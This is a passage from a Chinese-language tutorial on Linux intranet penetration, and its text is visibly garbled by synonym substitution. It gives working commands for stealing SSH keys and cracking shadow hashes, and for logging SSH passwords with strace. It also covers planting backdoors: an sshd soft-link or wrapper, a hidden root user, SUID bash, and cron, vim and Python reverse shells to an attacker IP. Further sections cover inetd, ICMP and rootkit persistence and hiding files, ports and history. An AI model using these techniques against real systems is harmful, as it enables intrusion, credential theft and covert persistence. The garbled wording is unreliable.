59echo-e "\n"| tee -a $filename

60# Author cances

61echo"ip和网卡信息"| tee -a $filename

62ip a | awk '{print $2,$4}'| tee -a $filename

63echo-e "\n"| tee -a $filename

64echo"可登岸用户"| tee -a $filename

65cat /etc/passwd | grep -E -v 'sync$|halt$|nologin$|false|shutdown'| tee -a $filename

66echo-e "\n"| tee -a $filename

67echo"用户登岸日记"| tee -a $filename

68lastlog | tee -a $filename

69echo-e "\n"| tee -a $filename

70echo"查看 hosts"| tee -a $filename

71cat /etc/hosts | tee -a $filename

72echo-e "\n"| tee -a $filename

73echo"查看 系统版本"| tee -a $filename

74cat /etc/*-release | tee -a $filename

75echo-e "\n"| tee -a $filename

76echo"查看 内核版本"| tee -a $filename

77uname -mrs | tee -a $filename

Linux隧道手艺

Linux内网渗入用到的隧道手艺和Windows内网渗入大差不差。

详尽见《代办署理、转发及隧道隐躲》文章

Linux横向挪动

主机存活探测

shell

1fori in192.168.111.{1..254}; doifping -c 3 -w 3 $i/dev/null; thenecho$iis alived; fi; done

2或者

3fork in$( seq 1 255); doping -c 1 192.168.1. $k|grep "ttl"|awk -F "[ :]+"'{print $4}'; done

arpscan

1gitclone

2make

3chmod +x arpscan

4./arpscan

nbtscan Linux版

1wget

2tar -xzvf nbtscan-source- 1. 0. 35.tgz

3make

4

5nbtscan -h

端口扫描

就一般端口扫描,没什么好说的。针对高危端口,根据渗入测试流程停止渗入,那里就不详细展开了。

常用好比Ladon、fscan等等

纯干货|一文读懂Linux内网渗入

SSH横向

那个是Linux横向的重点,获取linux账号的明文密码感化很大,因为内网情况治理员可能就那么几个,差别办事器所设置的密码也有可能不异。

SSH私钥泄露

不领会SSH私钥登录的能够看那篇文章

一般情状下SSH密钥存放在~/.ssh/目次下:

1id_rsa为私钥, id_rsa.pub为公钥

搜刮包罗SSH密钥的文件:(下面号令不包罗隐躲文件,也就是类似.ssh目次下的搜刮不到)

1grep -ir " BEGINDSA PRIVATEKEY" /home/*

2grep -ir " BEGINDSA PRIVATEKEY" /*

3

4grep -ir " BEGINRSA PRIVATEKEY" /home/*

5grep -ir " BEGINRSA PRIVATEKEY" /*

6

7grep -ir " BEGINOPENSSH PRIVATEKEY" /home/*

8grep -ir " BEGINOPENSSH PRIVATEKEY" /*

9

假设找到密钥,则需要确定该密钥用于哪个办事器,存眷一下几个文件:

1/etc/hosts

2/etc/ssh/ssh_config

3~/.known_hosts

4~/.bash_history

5~/.ssh/ config

known_hosts文件用于验证长途登岸系统的身份。ssh能够主动将密钥添加到用户文件,也能够手动添加。该文件包罗用户已毗连过所有主机的长途机器ip、长途机器公钥。一般,初度登岸,ssh会主动将长途主机的公钥添加到用户的known_hosts文件。known_hosts格局有两种,取决于你的~/.ssh/config文件中的HashKnownHosts字段的设置,有可能是明文也有可能是一段哈希字符串。假设没有~/.ssh/config文件,那取决于/etc/ssh/ssh_config 文件中的该字段。

修改 /etc/ssh/ssh_config 文件,

HashKnownHosts no

HashKnownHosts yes

通过密钥停止登录,

利用linux机器登录,用-i指定密钥文件的途径

假设要在Windows上利用的话,例如putty:

利用 WinSCP、SFTP 等东西将私钥文件 id_rsa 下载到客户端机器上。然后翻开 PuTTYGen,单击 Actions 中的 Load 按钮,载进你适才下载到的私钥文件。假设你设置了密钥锁码,那时则需要输进。

载进胜利后,PuTTYGen 会展现密钥相关的信息。在 Key comment 中键进对密钥的阐明信息,然后单击 Save private key 按钮即可将私钥文件存放为 PuTTY 能利用的格局。

此后,当你利用 PuTTY 登录时,能够在左侧的 Connection - SSH - Auth 中的 Private key file for authentication: 处抉择你的私钥文件,然后即可登录了,过程中只需输进密钥锁码即可。

破解SSH密钥

假设发现的 SSH 密钥利用密码加密,则能够在当地破解(更快),能够利用John the Ripper或者hashcat(假设能够拜候 GPU,则应操纵 hashcat 来缩短破解时间)。

John the Ripper 有一个函数能够将他的密钥转换为一个名为 john2hash.py 的哈希值,而且预先安拆在 Kali 上:

1转换哈希:

2python /usr/share/john/ssh2john.py id_rsa id_rsa.hash-john

3利用综合密码字典爆破:

4john --wordlist= /usr/share/wordlists/password.txt id_rsa.hash-john

SSH密码爆破

SSH密码加密存储在/etc/shadow文件中,能够利用john the raper或者hashcat等东西测验考试爆破。

shadow文件介绍:

样例:

1root:$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a 0. g92kCstOP1:17938:0:99999:7:::

1以冒号分隔:

21.第一个字段是用户名

32.第二字字段是加密的密码,假设是X 则代表不克不及登录系统

43.前次修改口令的时间

54.两次修改口令的最短间隔的天数

65.两次修改口令的最长的间隔天数

76.设置提早几天告警用户口令将过时

87.口令过时后几天制止此用户

98.用户过时日期

109.保留字段

11

12$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1

13再来阐明一下$朋分的各个部门的含义:

14密钥加密体例有5种:

15$1表达MD5加密算法

16$2表达利用blowfish 加密算法

17$5表达 SHA-256加密算法

18$6表达SHA-512加密算法(如上)

19其他 原则的DES

20

21qvhlqI7I:盐值

22//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1 : hash值

John the rapper破解:

1cp /etc/shadow shadow.txt //间接保留shadow文件

2unshadow /etc/passwd /etc/shadow shadow.txt //假设有unshadow的话,也能够把那两个文件整合

3

4john --wordlist=pass.txt shadow.txt //操纵字典停止破解

5john --show shadow.txt //查看破解信息

纯干货|一文读懂Linux内网渗入

hashcat破解(大字典选举利用hashcat):

hashcat的利用能够看那篇文章

将/etc/shadow文件,提取密码字段保留hash.txt

1$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a 0.g92kCstOP1

1hashcat-m1800 -a0 -oresult.txthash.txtpass.txt--force

2

3-m是指定那种加密类型,1800是 SHA-512( Unix)的代号,详细– help来查看;

4-a是指定进攻形式,0代表 Straight形式,利用字典停止破解测验考试;

5-o是破解出来的信息输出成果文件,输出到 found.txt文件中;

6hash.txt是我们上面保留的加密密码文件;

7pass.txt是我们的爆破密码,越大越精越好;

8--force漠视破解过程中的警告信息,跑单条 hash可能需要加上此选项

也能够利用hashcat hash --show来展现成果

SSH Keylogger笔录密码

操纵strace系统调试东西获取ssh的读写毗连的数据,以到达挠取治理员登岸其他机器的明文密码的感化。

在当前用户的.bashrc里新建一条alias,如许能够挠取他登岸其他机器的ssh密码。

1//在当前用户的shell情况中定义一个别号

2vi ~/.bashrc

3

4//在最初一行插进

5aliasssh= 'strace -o /tmp/.sshpwd-`date '+%d%h%m%s '`.log -e read,write,connect -s2048 ssh'

6

7//刷新当前的shell情况

8source ~/.bashrc

设置完毕后,假使当前系统不存在alias,那么就会影响其一般利用。

设置完毕后,利用SSH登录其他机器:

然后,查看/tmp/.sshpwd-xxxxx文件即可找到密码:

strace监听ssh来源流量

刚刚利用别号的体例来挠取登岸其他机器时的密码,同样也能够操纵strace来监听登岸当地的sshd流量,挠到他人连进的密码。

利用场景如:通过破绽获取root权限,但是不晓得明文密码。

1ps -ef | grepsshd //父历程PID

2

3//运行

4strace -f -p 811-o /tmp/.ssh.log -e trace= read, write, connect- s2048

5//或者后台 运行

6nohup strace -f -p 811-o /tmp/.ssh.log -e trace= read, write, connect- s2048

Linux权限庇护

纯干货|一文读懂Linux内网渗入

隐躲

0x01 隐躲文件

Linux 下创建一个隐躲文件:touch .test.txt

touch 号令能够创建一个文件,文件名前面加一个 点 就代表是隐躲文件,如下图

纯干货|一文读懂Linux内网渗入

一般的Linux下的隐躲目次利用号令ls -l是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐躲文件需要用到号令:ls -al

linux中每个目次下其实都有.和..、别离代指的是当前目次和上级目次。 成立...文件也是一个比力好的隐躲办法“

成立参数稠浊拦截rm文件

1echo'test' -- //创建--文件,需要用绝对途径才气读取和删除

rm -rf -- 号令施行了,文件没删除,号令也没有报错,能够误导治理员。

想要删除的话,利用rm -rf '/root/--'

别的,我们能够看到在/tmp下,默认存在多个隐躲目次,那些目次是歹意文件常用来躲身的处所。如/tmp/.font-unix/、/tmp/.ICE-unix/、/tmp/.Test-unix/、/tmp/.X11-unix/、/tmp/.XIM-unix/

纯干货|一文读懂Linux内网渗入

0x02 隐躲文件时间戳

Linux下躲后门必需要修改时间,不然很随便被发现,间接操纵 touch 就能够了。

操纵办法

好比参考 index.php 的时间,再赋给 webshell.php,成果两个文件的时间就一样了。

1touch-rindex.phpwebshell.php

或者间接将时间戳修改成某年某月某日。如下 2022年 02 月 01 日8时10分30秒。

1touch -t 2202010810.30 webshell.php

2

3touch -t 2202010810.30 webshell.php -c

4//-t STAMP use[[CC]YY]MMDDhhmm[.ss] instead ofcurrenttime

5//-c 不创建文件

0x03 隐躲权限

在Linux中,利用chattr号令来避免root和其他治理用户误删除和修改重要文件及目次,此权限用ls -l是查看不出来的,从而到达隐躲权限的目标。

那个身手常被用在后门,酿成了一些难以肃清的后门文件。

1chattr+i evil.php #锁定文件

2rm -rf evil.php #提醒制止删除

3

4lsattr evil.php #属性查看

5chattr -i evil.php #去除锁定

6rm -rf evil.php #彻底删除文件

纯干货|一文读懂Linux内网渗入

0x04 隐躲汗青操做

无痕形式

拿到shell以后,起头无痕形式,禁用号令汗青笔录功用。

1[ space] set+o history

2备注:[ space] 表达空格。而且因为空格的缘故,该号令自己也不会被笔录。

在那号令之后你施行的所有操做都不会笔录到汗青中,然而那个号令之前的所有工具城市原样笔录在汗青列表中。

要从头开启汗青功用,施行下面的号令:

1[Space] set-o history

2它将情况恢复原状,也就是你完成了你的工做,施行上述号令之后的号令城市呈现在汗青中。

删除指定汗青号令

history展现内存和~/.bash_history中的所有内容;

内存中的内容并没有立即写进~/.bash_history,只要当当前shell封闭时才会将内存内容写进shell

删除单条号令:

1history-d [num]

删除多条号令:

1sed-i "100, $d" .bash_history //删除 100行以后的操做号令

0x05 隐躲端口

通过端口复用来到达隐躲端口的目标。那里以隐躲SSH端口,通过SSH停止长途登录为例。

办法1、通过SSLH让 共享统一个端口

详尽办法参考:SSLH:让 )

那里以kali为例简单演示:

下载SSLH:

1sudo apt- getinstall sslh

设置装备摆设SSLH:

1sudo vi /etc/default/sslh

2修改为:

3DAEMON_OPTS= "--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"

启动SSLH:

1$sudo systemctl enablesslh

2$sudo systemctl start sslh

测试,查抄 SSLH 守护法式能否正在监听 443。

操纵:

如今,你能够利用端口 443 通过 SSH 拜候长途办事器:

办法2、操纵IPTables停止端口复用

目标机器设置装备摆设:

1# 端口复用链

2iptables -t nat -N LETMEIN

3# 端口复用规则

4iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22

5# 开启开关

6iptables -A INPUT -p tcp -m string-- string'threathuntercoming'--algo bm -m recent -- set--name letmein --rsource -j ACCEPT

7# 封闭开关

8iptables -A INPUT -p tcp -m string-- string'threathunterleaving'--algo bm -m recent --name letmein -- remove-j ACCEPT

9# let's do it

10iptables -t nat -A PREROUTING -p tcp --dport 80--syn -m recent --rcheck --seconds 3600--name letmein --rsource -j LETMEIN

进攻机运行:

1#开启复用

2echothreathuntercoming | socat - tcp: 192.168.111.133:80

3#ssh利用80端口停止登录

4ssh -p 80root@ 192.168.111.133

5#封闭复用

6echo threathunterleaving | socat - tcp: 192.168.111.133:80

纯干货|一文读懂Linux内网渗入

测试完毕后,在目标机删除iptables规则:

1iptables -L -n --line-number //iptables -L -n --line-number

2iptables -D INPUT 3//删除INPUT的第三条已添加规则,那里3代表第几行规则

0x06 隐躲历程

治理员无法通过相关号令东西查找到你运行的历程,从而到达隐躲目标,实现历程隐躲。

libprocesshider :

linux-inject:

后门

SSH后门

SSH软毗连

前提:

容许PAM认证(默认):

1cat/etc/ssh/sshd_config

原理:

在sshd办事设置装备摆设运行PAM认证的前提下,PAM设置装备摆设文件中掌握标记为sufficient时只要pam_rootok模块检测uid为0(root)即可胜利认证登岸

操纵:

可用的软毗连名称:

1find/etc/pam.d |xargs grep "pam_rootok"

上面su、chfn、chsh等那几个名称都能够,下面以su为例:

通过软毗连成立后门:

1ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort= 4444

施行完之后,任何一台机器ssh root@IP -p 4444,输进肆意密码,胜利登录:

长处:

可以绕过一些收集设备的平安流量监测,但是当地在查看监听端口时会表露端口,定见设置成8081,8080等端口。

删除软毗连后门:

1rm-rf 【软毗连地址】

SSH Wrapper

原理:

init 起首启动的是 /usr/sbin/sshd ,脚本施行到 getpeername 那里的时候,正则婚配会失败,于是施行下一句,启动 /usr/bin/sshd ,那是原始 sshd 。原始的 sshd 监听端口成立了 tcp 毗连后,会 fork 一个子历程处置详细工做。那个子历程,没有什么查验,而是间接施行系统默认的位置的 /usr/sbin/sshd ,如许子掌握权又回到脚本了。此时子历程原则输进输出已被重定向到套接字, getpeername 能实的获取到客户端的 TCP 源端口,假设是指定端口, 就施行sh给个shell。

操纵:

目标机:

1cd/usr/sbin/

2mv sshd ../bin/

3

4echo'#!/usr/bin/perl'sshd

5echo'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);'sshd //4A是13377的小端形式

6echo'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,'sshd

7chmod u+x sshd

8

9/etc/init.d/sshd restart

进攻机:

1socat STDIO TCP4:target_ip:22,sourceport= 13377

2

3#假设你想修改源端口,能够用python的struct原则库实现。此中x00x00LF是19526的大端形式,便于传输和处置。

4 import struct

5 buffer = struct.pack( 'I6', 19526)

6 print repr(buffer)

7'\x00\x00LF'

8 buffer = struct.pack( 'I6', 13377)

9 print buffer

104A

长处:

1、在无毗连后门的情状下,治理员是看不到端口和历程的,last也查不到登岸。

2、在针对鸿沟设备出网,内网linux办事器未出网的情状下,留那个后门能够随时治理内网linux办事器,还不会留下文件和歹意收集毗连笔录。

SSH公钥免密登录

那种用法不但是用在留后门,还能够在一些特殊情状下获取一个交互的shell,好比redis未受权写进公钥。

但是那个办法好比随便被发现

进攻机生成公私钥对:

1ssh-keygen -t rsa

再把公钥id_rsa.pub发送到目标上,逃到到authorized_keys文件中:

1echo id_rsa.pub .ssh/authorized_keys / /将id_rsa.pub内容放到目标.ssh/authorized_keys里

同时付与权限,但是权限不克不及过大:

1chmod600~ /.ssh/authorized_keys

2chmod700~ /.ssh

3

然后,ssh在开启密钥登录功用的前提下,进攻机即可免密登录。

添加用户、隐身登录

添加的用户很随便被发现,不常用。

一句话添加通俗用户:

1# 创建一个用户名guest,密码123456的通俗用户

2useradd -p `openssl passwd -1 -salt 'salt'123456` guest

3

4# useradd -p 办法 ` ` 是用来存放可施行的系统号令,"$"也能够存放号令施行语句

5useradd -p " $(openssl passwd -1 123456)" guest

6

7# chpasswd办法

8useradd guest; echo'guest:123456'|chpasswd

9

10# echo -e办法

11useradd test; echo-e "123456\n123456\n"|passwd test

一句话添加root用户:

1# 创建一个用户名guest,密码123456的root用户

2useradd -p `openssl passwd -1 -salt 'salt'123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/ test

隐身登录:

隐身登录系统,不会被last、who、w等指令检测到

1ssh -T username@host /bin/bash -i

2

3ssh -o UserKnownHostsFile=/dev/ null-T user@host

4/bin/bash - if

SUID后门

在介绍linux提权的时候,曾说过SUID

什么是suid?suid全称是Set owner User ID up on execution。那是Linux给可施行文件的一个属性——s标记。通俗的理解为其他用户施行那个法式的时候能够用该法式所有者/组的权限。需要重视的是,只要法式的所有者是0号或其他super user,同时拥有suid权限,才能够提权。

创建一个suid权限的文件:

1cp /bin/bash /tmp/.woot

2chmod u+s /tmp/.woot

3ls -al /tmp/.woot

利用通俗用户运行就可获得root权限:

1/tmp/.woot

2/tmp/.woot -p //bash2 针对 suid 有一些护卫的办法,需要利用-p参数来获取一个root shell

Cron后门

在Linux系统中,方案使命一般是由cron承担,我们能够把cron设置为开机时主动启动。cron启动后,它会读取它的所有设置装备摆设文件(全局性设置装备摆设文件/etc/crontab,以及每个用户的方案使命设置装备摆设文件),然后cron会根据号令和施行时间来定时来挪用工做使命。

cron表达式在线生成:/

crontab -e 设置按时使命

1#每一分钟施行一次

2*/1 ** ** /bin/bash /root/test.sh

3

4或者间接施行反弹shell

5*/1 ** ** /bin/bash -c "/bin/sh -i /dev/tcp/192.168.111.253/8877 01"

test.sh:

1#!/bin/bash

2bash -i /dev/tcp/192.168.111.253/8899 01

chmod +sx test.sh

crontab -l 查看按时使命:

重启crond办事,service crond restart,然后就能够用nc领受shell:

如上体例,治理员施行crontab -l就能看到施行的号令内容不是特殊隐蔽。

利用如下号令设置方案使命,crontab -l施行后会展现"no crontab for root",就到达了一个简单的隐躲效果:

1(printf " */1 ** ** /bin/bash /root/test.sh;\rno crontab for `whoami`%100c\n")|crontab -

\r招致展现截断,使得后面的内容逐个字符笼盖前面的字符;

100%c 的感化是格局化输出一个字符,前面99个空格补齐。

现实上是他将 cron 文件写到文件中,而 crontab -l 就是列出了该文件的内容:

1/ var/spool/cron/crontabs/root

凡是 cat 是看不到那个的,只能操纵 less、vim 或者 cat -A 看到,那也是操纵了cat的一个缺陷

cat默认利用是撑持一些好比 \r 回车符 \n 换行符 \f 换页符、也就是那些符号招致的可以隐躲号令。

VIM后门

该破绽存在于编纂器的 modeline功用,部门 Linux 发行版默认启用了该功用。 当 vim 翻开一个包罗了 vim modeline 正文行的文件时,会主动读取那一行的参数设置装备摆设并调整本身的设置到那个设置装备摆设。

vim默认封闭modeline。

受影响版本:Vim 8.1.1365, Neovim 0.3.6

利用:

起首在开启modeline:

1vim ~/.vimrc

2setmodeline

然后我们创建个文件测试一下:

1echo':!uname -a|| " vi:fen:fdm=expr:fde=assert_fails("source\!\ \% "):fdl=0:fdt="' test.txt

1vimtest.txt

能够看到胜利施行了uname -a号令

如今我们创建反弹shell的文件:

shell.txt

1:!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f| /bin/sh -i 2 1|nc 192.168.111.2538888 /tmp/f|| " vi:fen:fdm=expr:fde=assert_fails("source\!\ \% "):fdl=0:fdt="

2

3or

4

5:!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i /dev/tcp/ 192.168.111.253/ 88880 1 /tmp/f|| " vi:fen:fdm=expr:fde=assert_fails("source\!\ \% "):fdl=0:fdt="

vim python 扩展后门

适用于安拆了vim且安拆了python扩展(绝大版本默认安拆)的linux系统

vim --version能够看到vim撑持python3

纯干货|一文读懂Linux内网渗入

构造一个反弹shell脚本

test.py

1import socket,subprocess,os

2

3s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

4s.connect(( "192.168.111.253",8888))

5os.dup2(s.fileno,0)

6os.dup2(s.fileno,1)

7os.dup2(s.fileno,2)

8p=subprocess.call([ "/bin/sh", "-i"])

施行

1vim-E -c "py3file test.py"

施行完之后号令行界面就会一片空白如下图所示,属一般现象,此时封闭号令行界面,也不会影响已经反弹回往的shell

纯干货|一文读懂Linux内网渗入

领受到的shell:

此时能够看到可疑的 vim 毗连

但是如许的后门太明显了,并且 vim -E -c “py3file test.py” 号令施行之后,还会有一个空白窗口。

我们需要隐躲一下:

从以下两点动身:

1、

1(nohup vim -E -c "py3file test.py" /dev/ null2 1)

2

3#将nohup的施行成果输出到/dev/null中

4#此中/dev/null在linux中代表空设备,成果输出到空设备也就是丢弃nohup的施行成果。

5#“2”在linux中代表错误输出,“1”在linux中代表原则输出,在此处也就是nohup的输出。21表达将错误输出绑定到原则输出上,在此处也就是将错误输出同样输出到空设备上不停止展现。如许,无论nohup施行成果能否准确,都不会有输出。

2、既然是后门,那么就不克不及留下本身创建的文件,能够将删除号令间接拼接到号令上

因为我们最末的施行号令为:

1(nohup vim -E -c "py3file test.py" /dev/null2 1) sleep 2 rm -f test.py

PAM后门

PAM (Pluggable Authentication Modules )是由Sun提出的一种认证机造。它通过供给一些动态链接库和一套同一的API,将系统供给的办事和该办事的认证体例分隔,使得系统治理员能够乖巧地根据需要给差别的办事设置装备摆设差别的认证体例而无需更改办事法式,同时也便于向系统中添加新的认证手段。

操纵脚本:

1

inetd后门

inetd是一个监听外部收集恳求(就是一个socket)的系统守护历程,默认情状下为13端口。当inetd领受到一个外部恳求后,它会根据那个恳求到本身的设置装备摆设文件中往找到现实处置它的法式,然后再把领受到的那个socket交给阿谁法式往处置。

假设来自外部的某个socket是要施行一个可交互的shell (好比,我们已经在目标系统的inetd设置装备摆设文件中事先定义好),那就相当于一个简易的bind型后门

安拆:

1apt- getinstall openbsd-inetd

操纵:

1#修改/etc/inetd.conf

2$vim/etc/inetd.conf

3

4#discard stream tcp nowait root internal

5#discard dgram udp wait root internal

6daytime stream tcp nowait root /bin/bash bash -i # 当外部恳求名为daytime的办事时就弹shell

1#开启inetd

2$inetd

利用nc毗连

1nc-vv192 .168.111.13213

进阶:

能够把daytime换成其他办事,办事和端口的对应关系在/etc/services文件查看,我们能够抉择现有的,也能够本身添加一个:

然后修改/etc/inetd.conf

nc毗连8881端口接口即可获得shell:

检测:

查看设置装备摆设文件即可

1cat/etc/inetd.conf

ICMP后门

操纵ICMP中可控的data字段停止数据传输

项目地址:

1

利用:

起首编译.c文件【详细要求能够看项目里的介绍】

1Linux 64bit:

2apt-get installlibc6-dev-amd64

3gcc -DDETACH -m64 -Wall -s -o prism prism.c

4

5Linux 32bit:

6apt- getinstalllibc6-dev-i386

7gcc -DDETACH -m32 -Wall -s -o prism prism.c

运行:

1./prism Inf0

2./sendPacket.py 192.168.111.132 p4ssw0rd 192.168.111.253 8888

3

4#192.168.111.132 is the victim machine running prism backdoor

5#p4ssw0rd is the key

6#192.168.111.253 is the attacker machine address

7#8888 is the attacker machine port

DNS后门

在大大都的收集里情况中IPS/IDS或者硬件防火墙都不会监控和过滤DNS流量。次要原理就是将后门载荷隐躲在拥有PTR笔录和A笔录的DNS域中。

一些项目:

1

2

3

历程注进

历程注进类后门一般都需要一个 ptrace 库,ptrace 库用来调试历程,根本 linux 系统都自带此库。

历程注进东西良多

1

2/

3

【false】Cymothoa

cymothoa 是一个后门东西,操纵代码 shellcode 会被注进到历程中,只要历程存在,后门就会有效,所以一般抉择一些自启办事的历程来注进,例如 web 办事 mysql,apache 等。其后门所拥有的权限和注进的历程权限是不异的。当拿下目标 shell 后就能够利用 cymothoa 添加后门了。

利用:

下载,进进Cymothoa,运行

1./cymothoa -S #列出可用的shellcode

纯干货|一文读懂Linux内网渗入

那里我们就用序号 1 那个 payload,通过端口来反向 shell。利用-p参数,用来指定需要注进的历程的 pid, - s,用来指定利用 shellcode 的序号,-y用来指定反向 shell 的端口,即他人毗连本身时需要毗连的端口。运行后当呈现 infected 即传染的意思则代表后门注进胜利。

纯干货|一文读懂Linux内网渗入

没胜利,先没管了。。。

Vegile

Vegile是一个用来隐躲本身的历程的东西,即便历程被杀,又会从头启动。总会有一个历程会运行另一个历程,所以我们能够假设那个历程是不成阻挠的。

attack机器

先生成个后门:

1msfvenom-a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=IP LPORT=PORT -b "\x00"-f elf -o NAME_BACKDOOR

利用肆意一种体例传到victim机器。

利用msf监听:

victim机器

1git clone

2cdVegile

3chmod +x Vegile

纯干货|一文读懂Linux内网渗入

-i是历程注进的体例

-u是历程被杀还能够陆续反弹shell

运行

1./Vegile --i test

纯干货|一文读懂Linux内网渗入

--u也类似,就不演示了。

Tiny shell

Tiny Shell 是一款开源的Unix类后门shell东西,由C语言编写,体积小,通信加密,分为客户端和办事端,撑持正向毗连和反弹毗连形式

1

利用:

正向:

起首翻开tsh.h设置密码(用户加密客户端与办事端的通信数据);

修改SERVER_PORT值(后门运行后监听的端口);

修改FAKE_PROC_NAME值(用于假装展现后门运行后的历程名字);

正文掉CONNECT_BACK*两行代码(那两行代码用户反向形式);

那里因为演示就简单改一下,修改后如下所示:

纯干货|一文读懂Linux内网渗入

编译:

1makelinux

2

3#撑持多种系统 linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf

编译完成后生成tsh(客户端)、tshd(办事端)两个文件:

纯干货|一文读懂Linux内网渗入

办事端施行:

1umask077; HOME=/var/tmp ./tshd

2

3./tshd

客户端:(除了获取shell之外,还能够施行单条号令、传输文件)

1./tsh 192.168.111.132

2

3#./tsh victim_ip

注: 办事端运行后,其父历程PID是1,也就是说那个历程是守护历程除非重启系统,或者手动封闭,不然不断存在(当然你也能够加进启动项,或者加进使命方案中)

反向:

编译前的预备工做和 编译正向形式类似,不外 需要将CONNECT_BACK*两行往掉正文,即往掉//,并将ip改为客户端的ip,延时也可恰当修改:

纯干货|一文读懂Linux内网渗入

编译:

1makelinux

办事端运行

1umask077; HOME=/var/tmp ./tshd

2./tshd

客户端运行:

1./tsh cb #cb表达反向形式

注:那里只是简单演示,在现实利用中还能够停止各类哄骗性假装,改进程名、移到哄骗性目次等等。

自启动

1chmod +x /etc/rc.d/rc. local

2vi /etc/rc.d/rc. local

在此文件中添加需要开机施行的脚本的绝对途径,如

1/usr/ local/shell/crontab.sh

保留退出,即可生效。

设置按时使命后,系统重启后会主动按时施行,不需要再设置开机自启,假设发现有中断的情状,考虑crond办事的启动情状。

Rootkit

rootkit是进攻者向计算机系统中植进的,可以隐躲本身踪迹并保留root权限的歹意法式。rootkit基于进攻者已经拿到root权限之后对系统停止毁坏。rootkit会尽可能通过隐躲文件、历程、模块、历程等信息制止被监控法式检测。

那个项目列出了良多好用的rootkit,感兴致的能够往看看。

那里只演示一下Reptile的利用。

Reptile 是种 LKM(Loadable Kernel Modules) rootkit,因而具有很好的隐躲性和强大的功用。

安拆:

1apt-get installvim gcc make g++ unzip -y

2apt- get-y installlinux-headers-$(uname -r)

3

4git clone

5./setup.sh install#全主动化安拆,安拆后也会全主动删除,要重视需要交互式shell

纯干货|一文读懂Linux内网渗入

安拆过程会有如下选项:

Hide name (will be used to hide dirs/files) (default: reptile): 会被隐躲的文件或文件名

Auth token to magic packets (default: hax0r):毗连后门时的认证

tokenBackdoor password (default: s3cr3t):后门密码

Tag name that hide file contents (default: reptile):标签名,在该标签中的内容城市被隐躲

Source port of magic packets (default: 666): 源端口默认即可

Would you like to config reverse shell each X time? (y/n) (default: n): 能否每隔一段时间弹 shell ,那个功用很强,隐躲+开机自启动,假设对方提防意识不高,能够利用那个。

Reverse IP : 掌握端ip

Reverse Port: 掌握端端口

would you like to config reverse shell each x time(default:1800) :您期看每隔x时间回连一次

安拆胜利,而且能够删除当地文件夹:

看看rootkit效果:

隐躲目次:

1名称中包罗的所有文件和文件夹都reptile将被隐躲。您能够在安拆之前停止设置装备摆设。

2以下号令隐躲/取缔隐躲文件、文件夹、历程和内核模块自己:

3隐躲:/reptile/reptile_cmd hide

4取缔隐躲:/reptile/reptile_cmd show

隐躲历程:

1隐躲历程:/reptile/reptile_cmd hide pid

2取缔隐躲历程:/reptile/reptile_cmd show pid

隐躲TCP/UDP毗连:

1隐躲:/reptile/reptile_cmd conn IP hide

2取缔隐躲:/reptile/reptile_cmd conn IP show

3

4重视:默认情状下,TCP 和 UDP 隐躲功用隐躲到 IP 的所有毗连

掌握端:

安拆:

1#起首安拆依靠

2apt installlibreadline-dev #Debian

3yum installreadline-devel #RHEL

4

5安拆施行 ./setup client

进进bin目次,施行./client即可启动

纯干货|一文读懂Linux内网渗入

那个后门的运做逻辑是用肆意机器(一般都是掌握机)的特定端口(设置装备摆设目标机器的时候666阿谁srcport参数)给目标 肆意端口发送一段数据。然后目标机器承受到那个数据,再根据设置装备摆设的里面回连。

掌握端根据受控端的设置装备摆设,停止设置:

纯干货|一文读懂Linux内网渗入

设置完之后,施行run,期待一会就会收到目标机器的毗连,进进掌握界面

纯干货|一文读懂Linux内网渗入

目标重启之后仍然能够领受到后门。

更多利用,参考官方wiki

Linux陈迹清理

在进攻完毕后,若何不留陈迹的肃清日记和操做笔录,以掩盖进侵踪迹,那其实是一个详尽的手艺活。你所做的每一个操做,都要被抹掉;你所上传的东西,都应该被平安地删掉。

Linux陈迹清理办法见

参考

1

2

3

4

5/

6

7

8第 3篇:Linux权限庇护--隐躲篇 · 应急响应实战条记 (bypass007.github.io)

9f0rb1dd3n/Reptile: LKM Linux rootkit( github.com)

10Metarget/k0otkit: k0otkit isa universal post-penetration technique which could be used inpenetrations against Kubernetes clusters. ( github.com)

11

12

13

14

END

文:Yokan

版权声明:著做权回做者所有。若有侵权请联络删除

开源聚合网安操练营

情况搭建

Python

学员专辑

信息搜集

CNVD

平安求职

渗入实战

CVE

高薪揭秘

渗入测试东西

收集平安行业

神异大礼包

根底教程

我们贴心备至

用户答疑

QQ在线客服

加进社群

QQ+微信等着你

我就晓得你“在看”

隐藏文件软件
好玩单机游戏排行榜2021 天美传媒免费网站在线85
相关内容
发表评论

游客 回复需填写必要信息